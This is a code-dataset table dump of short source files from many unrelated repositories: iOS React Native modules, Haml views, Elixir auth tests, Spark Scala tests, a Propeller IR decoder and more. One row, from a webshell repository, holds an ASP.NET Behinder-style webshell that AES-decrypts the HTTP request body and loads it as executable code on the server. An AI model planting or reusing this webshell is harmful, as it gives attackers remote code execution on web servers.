content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
/*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
#import "ABI41_0_0RCTAppState.h"
#import <ABI41_0_0FBReactNativeSpec/ABI41_0_0FBReactNativeSpec.h>
#import <ABI41_0_0React/ABI41_0... | Objective-C++ | 5 | ahmadtech199/expo | ios/versioned-react-native/ABI41_0_0/ReactNative/React/CoreModules/ABI41_0_0RCTAppState.mm | [
"Apache-2.0",
"MIT"
] |
%p{ style: 'font-size:18px; text-align:center; line-height:30px;' }
- project_link = link_to(@project.full_name, project_url(@project), style: "color:#3777b0; text-decoration:none; display:block;")
= _('Your CSV export of %{count} from project %{project_link} has been added to this email as an attachment.').html_s... | Haml | 4 | glimmerhq/glimmerhq | app/views/notify/_issuable_csv_export.html.haml | [
"MIT"
] |
; v0.2.8
; https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdfid.py
[Components]
Name: "pdf\pdfid"; Description: "pdfid"; Types: full;
[Files]
Source: "{#MySrcDir}\pdf\pdfid.py"; DestDir: "{app}\programming\winpython\scripts"; Components: "pdf\pdfid"; Flags: ignoreversion recursesubdirs createa... | Inno Setup | 0 | reckdo/retoolkit | src/installer/pdf/pdfid.iss | [
"Apache-2.0"
] |
/**
* Classes adapting Spring's Reactive WebSocket API to and from WebSocket runtimes.
*/
@NonNullApi
@NonNullFields
package org.springframework.web.reactive.socket.adapter;
import org.springframework.lang.NonNullApi;
import org.springframework.lang.NonNullFields;
| Java | 3 | nicchagil/spring-framework | spring-webflux/src/main/java/org/springframework/web/reactive/socket/adapter/package-info.java | [
"Apache-2.0"
] |
discard """
output: "####"
"""
# unfortunately our tester doesn't support multiple lines of compiler
# error messages yet...
# bug #1562
type Foo* {.pure, final.} = object
elt: float
template defineOpAssign(T, op: untyped) =
proc `op`*(v: var T, w: T) {.inline.} =
for i in 0..1:
`op`(v.elt, w.elt)
co... | Nimrod | 5 | JohnAD/Nim | tests/template/twrongmapit.nim | [
"MIT"
] |
Summer dose add with 2 3 4 5 6&
dose sum
| Dogescript | 0 | erinkeith/dogescript | test/spec/dose/with-args-chained/source.djs | [
"MIT"
] |
%%BoundingBox: 44 527 80 559
| BitBake | 0 | latex3/latex2e | required/graphics/testfiles/support/foobá.eps.bb | [
"LPPL-1.3c"
] |
* TODO and agenda code for Leisure
'use strict'
define ['./org', './docOrg', './editor', './editorSupport', 'lodash', 'jquery'], (Org, DocOrg, Editor, EditorSupport, _, $)->
{
parseOrgMode
} = Org
{
computeNewStructure
} = Editor
class Todo
constructor: (@... | Literate CoffeeScript | 4 | zot/Leisure | src/todo.litcoffee | [
"Zlib"
] |
defmodule <%= inspect auth_module %>Test do
use <%= inspect context.web_module %>.ConnCase<%= test_case_options %>
alias <%= inspect context.module %>
alias <%= inspect context.web_module %>.<%= inspect Module.concat(schema.web_namespace, schema.alias) %>Auth
import <%= inspect context.module %>Fixtures
@re... | Elixir | 4 | faheempatel/phoenix | priv/templates/phx.gen.auth/auth_test.exs | [
"MIT"
] |
{ signal: [
{ name: 'A', wave: '01........0....', node: '.a........j' },
{ name: 'B', wave: '0.1.......0.1..', node: '..b.......i' },
{ name: 'C', wave: '0..1....0...1..', node: '...c....h..' },
{ name: 'D', wave: '0...1..0.....1.', node: '....d..g...' },
{ name: 'E', wave: '0....10.......1', node: '....... | JSON5 | 3 | tmr4/wavedrom | test/signal-arcs.json5 | [
"MIT"
] |
#!/bin/bash
docker image build -t spring-data-arangodb:live-test .
docker run -p 8529:8529 -e ARANGO_ROOT_PASSWORD=password --name spring-data-arangodb-live-test spring-data-arangodb:live-test
docker exec spring-data-arangodb-live-test arangosh --server.password password --javascript.execute /setup/arangodb-setup.js | Shell | 3 | DBatOWL/tutorials | persistence-modules/spring-data-arangodb/src/live-test/resources/live-test-setup.sh | [
"MIT"
] |
; Copyright (c) 2009 The Chromium Authors. All rights reserved.
; Use of this source code is governed by a BSD-style license that can be
; found in the LICENSE file.
; This file is just a convenient place for experimenting with x86 encodings.
BITS 32
; sldt to detect which processor we are running on.
sldt eax
sidt ... | Assembly | 1 | zealoussnow/chromium | tools/traceline/traceline/stubs.asm | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
type `as.character.Matlab` <class<`Matlab`, `Object`>, ...> => character;
type `close.Matlab` <class<`Matlab`, `Object`>, ...> => null;
type `evaluate` <...> => any;
type `evaluate.Matlab` <class<`Matlab`, `Object`>, ..., character, logical> => any;
type `finalize.Matlab` <class<`Matlab`, `Object`>, ...> => null;
type ... | Matlab | 3 | PRL-PRG/contractR | inst/TYPEDECLARATION/R.matlab | [
"Apache-2.0"
] |
#include "pch.h" | C | 0 | ixjf/Windows-driver-samples | serial/serenum/pchsrc.c | [
"MS-PL"
] |
#!/bin/tcsh
set DIR=${1}
set NRUNS=$#argv
echo ${NRUNS}
set i=2
while( ${i} <= ${NRUNS} )
set NRUN=$argv[${i}]
set list=`ls ${DIR}/Global_${NRUN}_*.root`
echo ${list}
hadd Global_${NRUN}.root ${list}
@ i = ${i} + "1"
end
| Tcsh | 3 | ckamtsikis/cmssw | DPGAnalysis/HcalTools/scripts/cmt/glu_runs.csh | [
"Apache-2.0"
] |
del(.Id,
.Properties.creationTime,
.Properties.primaryEndpoints,
.Properties.encryption.services.file.lastEnabledTime,
.Properties.encryption.services.blob.lastEnabledTime,
.Properties.provisioningState,
.Properties.primaryLocation,
.Properties.statusOfPrimary
) | JSONiq | 1 | StefanIvemo/AzOps | src/data/template/Microsoft.Storage/storageAccounts.jq | [
"MIT"
] |
#include "script_component.hpp"
/*
Name: TFAR_fnc_generateFrequencies
Author: NKey, Garth de Wet (L-H), Dorbedo
Generates frequencies based on the passed parameters to be used in radio settings.
Arguments:
0: Channels <SCALAR>
1: Max frequency <SCALAR>
2: Min frequency <SCALAR>
3: Frequency... | SQF | 5 | MrDj200/task-force-arma-3-radio | addons/core/functions/fnc_generateFrequencies.sqf | [
"RSA-MD"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*---------------------------------------------------------------... | TypeScript | 4 | sbj42/vscode | src/vs/editor/contrib/lineSelection/browser/lineSelection.ts | [
"MIT"
] |
import operator
def strand_sort(arr: list, reverse: bool = False, solution: list = None) -> list:
"""
Strand sort implementation
source: https://en.wikipedia.org/wiki/Strand_sort
:param arr: Unordered input list
:param reverse: Descent ordering flag
:param solution: Ordered items container
... | Python | 5 | JB1959/Python | sorts/strand_sort.py | [
"MIT"
] |
MEMORY
{
FLASH_TEXT (rw) : ORIGIN = 0x08000000, LENGTH = 64K
RAM (xrw) : ORIGIN = 0x20000000, LENGTH = 20K
}
_stack_size = 2K;
INCLUDE "targets/arm.ld"
| Linker Script | 2 | ybkimm/tinygo | targets/stm32.ld | [
"Apache-2.0"
] |
"""The tomato component."""
| Python | 0 | domwillcode/home-assistant | homeassistant/components/tomato/__init__.py | [
"Apache-2.0"
] |
# @prettier
query Browse($offset:Int){browse(offset:$offset)}
| GraphQL | 3 | fuelingtheweb/prettier | tests/require-pragma/graphql/with-pragma.graphql | [
"MIT"
] |
;;; Vector functions
(defun vconcat (vec &rest vecs)
"Concatentate any number of vectors."
(if (nullp vecs)
vec
(vconcat2 vec (apply vconcat vecs))))
(defun vsplice (vmain start end vins)
"Insert vector over subsection of vector, returning new vector."
(vconcat
(if (= start 0) []
(vsub vmain... | wisp | 4 | skeeto/wisp | wisplib/vector.wisp | [
"Unlicense"
] |
<span style="color: #<?php echo $this->gradientBuilder->create('#000000')
->to('#ff0000', 100)
->build()
->colorAtPercentile(((int)$object->value()))
->toHex() ?>">
<?php echo $this->nodePrinter->print($object) ?>
</span>
| HTML+PHP | 3 | rustamwin/phpbench | templates/html/node/RelativeDeviationNode.phtml | [
"MIT"
] |
package com.taobao.arthas.core.command.model;
/**
* Command execute result
*
* @author gongdewei 2020-03-26
*/
public abstract class ResultModel {
private int jobId;
/**
* Command type (name)
*
* @return
*/
public abstract String getType();
public int getJobId() {
re... | Java | 4 | weihubeats/arthas | core/src/main/java/com/taobao/arthas/core/command/model/ResultModel.java | [
"Apache-2.0"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may ... | Scala | 5 | OlegPt/spark | sql/catalyst/src/test/scala/org/apache/spark/sql/connector/catalog/LookupCatalogSuite.scala | [
"Apache-2.0"
] |
; Based on V8 JavaScript richards
ID_IDLE = 0
ID_WORKER = 1
ID_HANDLER_A = 2
ID_HANDLER_B = 3
ID_DEVICE_A = 4
ID_DEVICE_B = 5
NUMBER_OF_IDS = 6
COUNT = 10000
EXPECTED_QUEUE_COUNT = 23246
EXPECTED_HOLD_COUNT = 9297
STATE_RUNNING = 0
STATE_RUNNABLE = 1
STATE_SUSPENDED = 2
STATE_HELD = 4
STATE_... | Ioke | 5 | olabini/ioke | bench/richards.ik | [
"ICU",
"MIT"
] |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<h1>Hello world!</h1>
</body>
</html> | ColdFusion | 3 | PushpneetSingh/Hello-world | Lucee/lucee/code/index.cfm | [
"MIT"
] |
---
title: "Auto-regressive integrated moving average models"
output: html_notebook
---
```{r}
library(dplyr)
library(lubridate)
library(tidyr)
library(climate)
library(fable)
library(feasts)
library(tsibble)
library(rsample)
options(dplyr.summarise.inform=F)
```
# Introduction
ARIMA stands for Auto-Regressive Int... | RMarkdown | 5 | datenzauberai/btsa | R/intro_forecasting/intro_arima.rmd | [
"MIT"
] |
// Copyright (c) 2017-2019 Bluespec, Inc. All Rights Reserved.
package DM_CPU_Req_Rsp;
// ================================================================
// This package defines types for register access request and response
// ================================================================
// BSV library imports
... | Bluespec | 4 | Skydive/Piccolo | src_Core/Debug_Module/DM_CPU_Req_Rsp.bsv | [
"Apache-2.0"
] |
// direct radiation
light_source {<0,0,1000> color L*(1-df)*<1,1,1> rotate <Ze, 0, Az> parallel} // sun | POV-Ray SDL | 3 | lsymuyu/Digital-Plant-Phenotyping-Platform | Phenotyping/light.pov | [
"MIT"
] |
_ = require 'underscore'
Thread = require('../../src/flux/models/thread').default
Category = require('../../src/flux/models/category').default
Message = require('../../src/flux/models/message').default
FocusedContentStore = require '../../src/flux/stores/focused-content-store'
FocusedPerspectiveStore = require('../../s... | CoffeeScript | 4 | cnheider/nylas-mail | packages/client-app/spec/stores/message-store-spec.coffee | [
"MIT"
] |
30 3 3 0
0 1 3 3 1 2 [0 0 0] [0 0 0] [0 0 0]
1 3 1 26 [13 9 17 8 11 7 0 5 7]
2 3 2 17 19 [5 7 8 4 10 6 11 7 13] [11 6 10 1 5 6 2 2 0]
3 3 3 10 31 5 [12 0 12 2 0 0 7 9 2] [8 1 5] [10 15 5 2 0 1 0 6 8]
4 3 3 15 31 22 [10 7 1 8 2 17 1 0 0] [6 9 1] [8 1 10 10 2 15 0 2 2]
5 3 2 31 21 [3 1 6] [2 1 1 0 2 0 7 3 10]
6 3 ... | Eagle | 2 | klorel/or-tools | examples/data/rcpsp/multi_mode_max_delay/testset_mm30/psp56.sch | [
"Apache-2.0"
] |
import numpy as np
import pytest
import pandas as pd
import pandas._testing as tm
class TestConvertDtypes:
@pytest.mark.parametrize(
"convert_integer, expected", [(False, np.dtype("int32")), (True, "Int32")]
)
def test_convert_dtypes(self, convert_integer, expected, string_storage):
# Spe... | Python | 5 | ajayiagbebaku/NFL-Model | venv/Lib/site-packages/pandas/tests/frame/methods/test_convert_dtypes.py | [
"MIT"
] |
/**
* CBLOCK tests
* asfas
*/
%{
// top statement before namespace, add to after headers
#define MAX_FACTOR 40
}%
namespace Test;
%{
// top statement before class, add to after headers
// test include .h
#include "kernel/require.h"
}%
%{
// c implement fibonacci
static long fibonacci(long n) {
if (n < 2... | Zephir | 3 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Zephir/Cblock.zep | [
"MIT"
] |
#include "pch.h"
#include "two_way_pipe_message_ipc_impl.h"
#include <iterator>
constexpr DWORD BUFSIZE = 1024;
TwoWayPipeMessageIPC::TwoWayPipeMessageIPC(
std::wstring _input_pipe_name,
std::wstring _output_pipe_name,
callback_function p_func) :
impl(new TwoWayPipeMessageIPC::TwoWayPipeMessageIPCImp... | C++ | 5 | tameemzabalawi/PowerToys | src/common/interop/two_way_pipe_message_ipc.cpp | [
"MIT"
] |
{{ ir_view_serial.spin
Bob Belleville
This object receives input from an IR remote and dumps
mark/space timing information to the serial port.
This is a good tool to identify what an IR remote is
sending.
Decodes NEC type and Sony type codes automatically.
In some cases RC5 bi-phase codes c... | Propeller Spin | 5 | deets/propeller | libraries/community/p1/All/IR Kit/ir_view_serial.spin | [
"MIT"
] |
LITHO,CANAL,R
002973,A,,D,E,A,D,D,B,D,E,B,,E,D,A,D,C,D,B,A,A,C,A,B,C,C,E,D,B,B,B,A,,,,,,,,,,,,,,,,,,,,B,E,B,C,D,A,D,C,,A,B,,,D,C,A,B,A,C,C,C,B,B,A,,,,,,,,,,,,,,,D,C,,,,,,,,,,
002970,C,B,D,,,B,D,,C,E,D,D,E,E,C,A,C,,A,A,D,C,A,B,A,A,E,A,D,B,B,E,C,D,C,B,D,C,A,B,C,A,,C,E,B,D,C,A,A,B,D,E,E,C,B,C,B,A,E,C,B,C,D,D,C,,C,B,B,A,C,... | IDL | 1 | plandauro/admision | storage/calificacionsimulacro/2019-IIresuestasimulacroPE03.dlm | [
"MIT"
] |
c sdotsub.f
c
c The program is a fortran wrapper for sdot.
c Witten by Keita Teranishi. 2/11/1998
c
subroutine sdotsub(n,x,incx,y,incy,dot)
c
external sdot
real sdot
integer n,incx,incy
real x(*),y(*),dot
c
dot=sdot(n,x,incx,y,incy)
return
end
| FORTRAN | 3 | yatonon/dlib-face | dlib/external/cblas/sdotsub.f | [
"BSL-1.0"
] |
//
// DoraemonFileSyncPlugin.h
// DoraemonKit
//
// Created by didi on 2020/6/10.
//
#import <Foundation/Foundation.h>
#import "DoraemonPluginProtocol.h"
NS_ASSUME_NONNULL_BEGIN
@interface DoraemonFileSyncPlugin : NSObject<DoraemonPluginProtocol>
@end
NS_ASSUME_NONNULL_END
| C | 3 | didichuxing/DoraemonKit | iOS/DoraemonKit/Src/Core/Plugin/Platform/FileSync/DoraemonFileSyncPlugin.h | [
"Apache-2.0"
] |
@font-face {
font-family: 'Some Font';
src: url('../fonts/some-font.eot?#iefix') format('embedded-opentype'), url('../fonts/some-font.woff2') format('woff2'), url('../fonts/some-font.woff') format('woff'), url('../fonts/some-font.ttf') format('truetype'), url('../fonts/some-font.svg#glyphicons_halflingsregular') fo... | CSS | 2 | bkucera2/cypress | packages/driver/cypress/fixtures/nested/with_paths.css | [
"MIT"
] |
/********************************************************************************
* Copyright (c) {date} Red Hat Inc. and/or its affiliates and others
*
* This program and the accompanying materials are made available under the
* terms of the Apache License, Version 2.0 which is available at
* http://www.apache.o... | Ceylon | 4 | Kopilov/ceylon-ide-intellij | source/org/eclipse/ceylon/ide/intellij/resolve/CeylonUsageTypeProvider.ceylon | [
"Apache-2.0"
] |
DROP FUNCTION IF EXISTS hdb_catalog.insert_event_log(text, text, text, text, json); | SQL | 1 | gh-oss-contributor/graphql-engine-1 | server/src-rsr/migrations/15_to_14.sql | [
"Apache-2.0",
"MIT"
] |
// (c) Copyright 1995-2017 Xilinx, Inc. All rights reserved.
//
// This file contains confidential and proprietary information
// of Xilinx, Inc. and is protected under U.S. and
// international copyright and other intellectual property
// laws.
//
// DISCLAIMER
// This disclaimer is not a license and does not grant ... | Verilog | 4 | keegangriffee/fpga | hdk/common/shell_v071417d3/design/ip/ddr4_core/ddr4_core.veo | [
"Apache-2.0"
] |
/*
*
* Copyright 2016 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agree... | C++ | 4 | goodarzysepideh/grpc | test/cpp/end2end/proto_server_reflection_test.cc | [
"Apache-2.0"
] |
// Clamps (duh) a number between 2 other numbers.
// Yes, this implementation is faster than a min(max()) clamp, I've profiled it.
#define Clamp(x, min, max) (x <= min ? min : (x >= max ? max : x))
#define CLAMP01(x) Clamp((x), 0, 1)
| DM | 3 | PJB3005/GoonLight-Heist | helpers/math.dm | [
"MIT"
] |
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecrypto... | ASP | 0 | laotun-s/webshell | Behinder/shell.aspx | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<!-- generated with COPASI 4.27 (Build 217) (http://www.copasi.org) at 2020-04-28T21:21:25Z -->
<?oxygen RNGSchema="http://www.copasi.org/static/schema/CopasiML.rng" type="xml"?>
<COPASI xmlns="http://www.copasi.org/static/schema" versionMajor="4" versionMinor="27" versionDevel="2... | Component Pascal | 5 | pmendes/COVID19 | Models/Hartford/SIDARTHE-CT-Hartford_Model3-50.cps | [
"MIT"
] |
@include "test/TestCommons"
@include "test/TestUtils"
@include "test/TestParser"
@include "test/TestLanguages"
| Awk | 0 | vitaly-zdanevich/translate-shell | test/Test.awk | [
"Unlicense"
] |
"""Tests for the melissa component."""
| Python | 0 | domwillcode/home-assistant | tests/components/melissa/__init__.py | [
"Apache-2.0"
] |
class balanceException(Exception):
pass | Python | 2 | middleprince/12306 | myException/balanceException.py | [
"MIT"
] |
hailstone(n) ;
If n=1 Quit n
If n#2 Quit n_" "_$$hailstone(3*n+1)
Quit n_" "_$$hailstone(n\2)
Set x=$$hailstone(27) Write !,$Length(x," ")," terms in ",x,!
112 terms in 27 82 41 124 62 31 94 47 142 71 214 107 322 161 484 242 121 364 182 91 274 137 412 206 103 310 155 466 233 700 350 175 526 263 790 395 1186 593 1780... | M | 2 | LaudateCorpus1/RosettaCodeData | Task/Hailstone-sequence/MUMPS/hailstone-sequence.mumps | [
"Info-ZIP"
] |
<svg id="Layer_1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 395.8 102"><style>.st0{fill:#181919}</style><path class="st0" d="M98.7 34.3L80 53V41.7l24.3-24.3-5.6-5.7L80 30.4V.6h-8v29.8L53.3 11.7l-5.6 5.7L72 41.7V53L53.3 34.4 31.9 12.9V.6h-8v12.3L-.4 37.2l5.6 5.7 18.7-18.7v11.4L-.4 59.8l5.6 5.7 18.7-18.6v55.5h8V46.... | SVG | 1 | jlevon/hugo | docs/_vendor/github.com/gohugoio/gohugoioTheme/static/images/sponsors/forestry-logotype.svg | [
"Apache-2.0"
] |
func $foo (
var %i i32
#var %i1 i32, var %j1 i32, var %k1 i32
) i32 {
return (
depositbits i32 1 23(
constval i32 0xfff, constval i32 0x11))}
# EXEC: %irbuild Main.mpl
# EXEC: %irbuild Main.irb.mpl
# EXEC: %cmp Main.irb.mpl Main.irb.irb.mpl
| Maple | 0 | harmonyos-mirror/OpenArkCompiler-test | test/testsuite/irbuild_test/I0022-mapleall-irbuild-edge-depositbits1/Main.mpl | [
"MulanPSL-1.0"
] |
--TEST--
Test typed properties respect strict types (off)
--FILE--
<?php
class Foo {
public int $bar;
}
$foo = new Foo;
$foo->bar = "1";
var_dump($foo->bar);
?>
--EXPECT--
int(1)
| PHP | 4 | thiagooak/php-src | Zend/tests/type_declarations/typed_properties_028.phpt | [
"PHP-3.01"
] |
/*******************************************************************
This file provides an example usage of upc_all_broadcast collective
function as described in Section 7.3.1.1 in the UPC Spec v1.2.
********************************************************************/
#include <upc.h>
#include <upc_collective.h>
sha... | Unified Parallel C | 3 | maurizioabba/rose | tests/CompileTests/UPC_tests/upc_all_broadcast_ex.upc | [
"BSD-3-Clause"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may ... | Scala | 4 | akhalymon-cv/spark | core/src/test/scala/org/apache/spark/deploy/SparkHadoopUtilSuite.scala | [
"Apache-2.0"
] |
// This file is a part of Julia. License is MIT: https://julialang.org/license
@import Foundation;
#import "ExecSandboxProtocol.h"
@interface ExecSandbox : NSObject <ExecSandboxProtocol>
@end
| C | 2 | TimoLarson/julia | contrib/mac/frameworkapp/ExecSandbox/ExecSandbox.h | [
"Zlib"
] |
PrintState struct #RefType {
indent int
}
AstPrinter {
printAny(s PrintState, a Node) {
match a {
CodeUnit: printCodeUnit(s, a)
NamespaceDef: printNamespaceDef(s, a)
TypeParams: printTypeParams(s, a)
Attribute: printAttribute(s, a)
FunctionDef: printFunctionDef(s, a)
Param: printParam(s, a)
Fi... | mupad | 5 | jturner/muon | compiler/ast_printer.mu | [
"MIT"
] |
object MainForm: TMainForm
Left = 1
Top = 95
ClientHeight = 129
ClientWidth = 129
Color = clNavy
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = True
OnCloseQuery = FormCloseQuery
OnKeyDown = F... | Pascal | 2 | Patriccollu/issrc | Projects/Main.dfm | [
"FSFAP"
] |
frequency,raw
20.00,-12.64
20.20,-12.50
20.40,-12.35
20.61,-12.22
20.81,-12.08
21.02,-11.95
21.23,-11.82
21.44,-11.70
21.66,-11.58
21.87,-11.46
22.09,-11.35
22.31,-11.24
22.54,-11.15
22.76,-11.05
22.99,-10.95
23.22,-10.84
23.45,-10.75
23.69,-10.67
23.92,-10.58
24.16,-10.51
24.40,-10.43
24.65,-10.35
24.89,-10.28
25.14,-... | CSV | 2 | vinzmc/AutoEq | measurements/referenceaudioanalyzer/data/onear/HDM-X/SoundMAGIC P10S/SoundMAGIC P10S.csv | [
"MIT"
] |
#!/bin/ksh
rm diff.out
touch diff.out
for i in *.[ch]; do
diff -u -I'\$OpenBSD' $i /usr/src/usr.bin/tmux/$i >diff.tmp
set -- `wc -l diff.tmp`
[ $1 -eq 8 ] && continue
echo $i
cat diff.tmp >>diff.out
done
| Shell | 3 | listx/tmux | tools/cmp-cvs.sh | [
"ISC"
] |
diff --git syntaxes/01_Packages/C#/C#.sublime-syntax syntaxes/01_Packages/C#/C#.sublime-syntax
index ed494f8b..01b710e8 100644
--- syntaxes/01_Packages/C#/C#.sublime-syntax
+++ syntaxes/01_Packages/C#/C#.sublime-syntax
@@ -1312,7 +1312,7 @@ contexts:
2: punctuation.separator.cs
3: punctuation.... | Diff | 2 | JesseVermeulen123/bat | assets/patches/C#.sublime-syntax.patch | [
"Apache-2.0",
"MIT"
] |
#pragma once
#include <torch/optim/adagrad.h>
#include <torch/optim/adam.h>
#include <torch/optim/adamw.h>
#include <torch/optim/lbfgs.h>
#include <torch/optim/optimizer.h>
#include <torch/optim/rmsprop.h>
#include <torch/optim/sgd.h>
#include <torch/optim/schedulers/lr_scheduler.h>
#include <torch/optim/schedulers/s... | C | 2 | Hacky-DH/pytorch | torch/csrc/api/include/torch/optim.h | [
"Intel"
] |
html, body{
font-family: Raleway, serif;
background-color: #f5f5f5;
}
.navbar
{
background-color: #63b175 !important;
}
.navbar-brand
{
font-size: 1.75rem;
font-weight: bold;
}
/*
hr{
border: 0px dotted rgba(249, 249, 249, 0.88);
}*/
hr {
border: 0;
border-bottom: 1px dashed #969595;
... | CSS | 3 | DBatOWL/tutorials | spring-security-modules/spring-security-web-boot-3/src/main/resources/static/main.css | [
"MIT"
] |
TDSmalltalkLeafNode {
#name : 'rx',
#contents : '| wc snapshot orgDef categoryString versionInfo messageString |\nwc := MCWorkingCopy allManagers detect: [ :each | each packageName = \'Issue72\' ].\nsnapshot := wc package snapshot.\norgDef := snapshot definitions detect: [ :each | each isOrganizationDefinition ].\nca... | STON | 1 | dalehenrich/filetree | tode/rx.ston | [
"MIT"
] |
export AMPLXE_EXPERIMENTAL=1
/Users/wenshao/Install/vtune/amplxe-cl -collect hotspots java -classpath target/classes/:target/test-classes/ com.alibaba.json.test.benchmark.BenchmarkMain
| Shell | 1 | Czarek93/fastjson | vtune.sh | [
"Apache-2.0"
] |
/**
* Copyright (c) 2005-2006 Arch Rock Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* - Redistributions of source code must retain the above copyright
* notice, this li... | nesC | 5 | mtaghiza/tinyos-main-1 | tos/interfaces/BlockWrite.nc | [
"BSD-3-Clause"
] |
.reset-modal p {
color: var(--danger-color);
}
.reset-modal-header {
color: var(--danger-color);
background-color: var(--danger-background);
}
.reset-modal-header h4 {
color: var(--danger-color);
}
.reset-modal-header .close {
color: var(--danger-color);
font-size: 28px;
text-shadow: none;
}
@media sc... | CSS | 3 | fcastillo-serempre/freeCodeCamp | client/src/templates/Challenges/components/reset-modal.css | [
"BSD-3-Clause"
] |
submodule openconfig-pf-forwarding-policies {
belongs-to openconfig-policy-forwarding {
prefix "oc-pf";
}
import openconfig-extensions { prefix "oc-ext"; }
import openconfig-packet-match { prefix "oc-pmatch"; }
import ietf-yang-types { prefix "yang"; }
import ietf-inet-types { prefix "inet"; }
inclu... | YANG | 5 | meodaiduoi/onos | models/openconfig/src/main/yang/policy-forwarding/openconfig-pf-forwarding-policies@2017-06-21.yang | [
"Apache-2.0"
] |
public final class Constructors /* Constructors*/ {
private final int valInPrimary;
private Constructors();// .ctor()
public Constructors(@org.jetbrains.annotations.NotNull() java.lang.String);// .ctor(java.lang.String)
public Constructors(int);// .ctor(int)
public final int getValInPrimary();// ge... | Java | 3 | Mu-L/kotlin | compiler/testData/asJava/lightClasses/Constructors.java | [
"ECL-2.0",
"Apache-2.0"
] |
create database sqlmodedb;
| SQL | 0 | WizardXiao/tidb | br/tests/lightning_sqlmode/data/sqlmodedb-schema-create.sql | [
"Apache-2.0"
] |
(defprolog foobar
foo <--;)
(defprolog foobars
X <-- (findall X [foobar X] Foobars) (return Foobars);)
(prolog? (findall X [foobar X] Foobars))
(prolog? (findall X [foobar X] Foobars) (return Foobars)
| Shen | 2 | ragnard/shen-truffle | src/test/resources/custom-test-programs/prolog_fail.shen | [
"BSD-3-Clause"
] |
<html>
<head></head>
<body>
<h1>This is the body of the sample view</h1>
</body>
</html> | Java Server Pages | 1 | zeesh49/tutorials | spring-security-mvc-digest-auth/src/main/webapp/WEB-INF/view/homepage.jsp | [
"MIT"
] |
def «» := not
theorem thm : «» false := id
#print «»
#print thm | Lean | 2 | ericrbg/lean | tests/lean/empty_french_quote.lean | [
"Apache-2.0"
] |
' setchannelvolume.bmx
timer=CreateTimer(20)
sound = LoadSound ("shoot.wav")
For volume#=.1 To 2 Step .05
WaitTimer timer
channel=CueSound(sound)
SetChannelVolume channel,volume
ResumeChannel channel
Next
| BlitzMax | 3 | jabdoa2/blitzmax | mod/brl.mod/audio.mod/doc/setchannelvolume.bmx | [
"Zlib"
] |
# Derive a fully static Haskell package based on musl instead of glibc.
{ nixpkgs, compiler, patches, allOverlays }:
name: src:
let
# The nh2/static-haskell-nix project does all the hard work for us.
static-haskell-nix =
let
rev = "bd66b86b72cff4479e1c76d5916a853c38d09837";
in
builtins.fetchTarba... | Nix | 5 | fairhopeweb/postgrest | nix/static-haskell-package.nix | [
"MIT"
] |
/****************************************************************************
*
* Copyright (c) 2018 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistri... | EmberScript | 3 | lgarciaos/Firmware | src/modules/flight_mode_manager/Templates/FlightTasks_generated.hpp.em | [
"BSD-3-Clause"
] |
import { Link } from 'gatsby';
import React from 'react';
import Helmet from 'react-helmet';
import { useTranslation } from 'react-i18next';
import notFoundLogo from '../../assets/images/freeCodeCamp-404.svg';
import { randomQuote } from '../../utils/get-words';
import { Spacer } from '../helpers';
import './404.css'... | TypeScript | 4 | fcastillo-serempre/freeCodeCamp | client/src/components/FourOhFour/index.tsx | [
"BSD-3-Clause"
] |
/****************************************************************************
*
* (c) 2009-2020 QGROUNDCONTROL PROJECT <http://www.qgroundcontrol.org>
*
* QGroundControl is licensed according to the terms in the file
* COPYING.md in the root of the source code directory.
*
***************************************... | QML | 4 | uav-operation-system/qgroundcontrol | src/FlightMap/Widgets/QGCAttitudeHUD.qml | [
"Apache-2.0"
] |
/*
* Copyright 2017-2019 Jiří Janoušek <janousek.jiri@gmail.com>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of con... | Vala | 4 | xcffl/nuvolaruntime | src/nuvolakit-runner/DbusRunner.vala | [
"BSD-2-Clause"
] |
syntax = "proto3";
package membershippb;
import "gogoproto/gogo.proto";
option (gogoproto.marshaler_all) = true;
option (gogoproto.sizer_all) = true;
option (gogoproto.unmarshaler_all) = true;
option (gogoproto.goproto_getters_all) = false;
// RaftAttributes represents the raft related attributes of an etcd member.
... | Protocol Buffer | 4 | aquarapid/etcd | etcdserver/api/membership/membershippb/membership.proto | [
"Apache-2.0"
] |
import createSvgIcon from './utils/createSvgIcon';
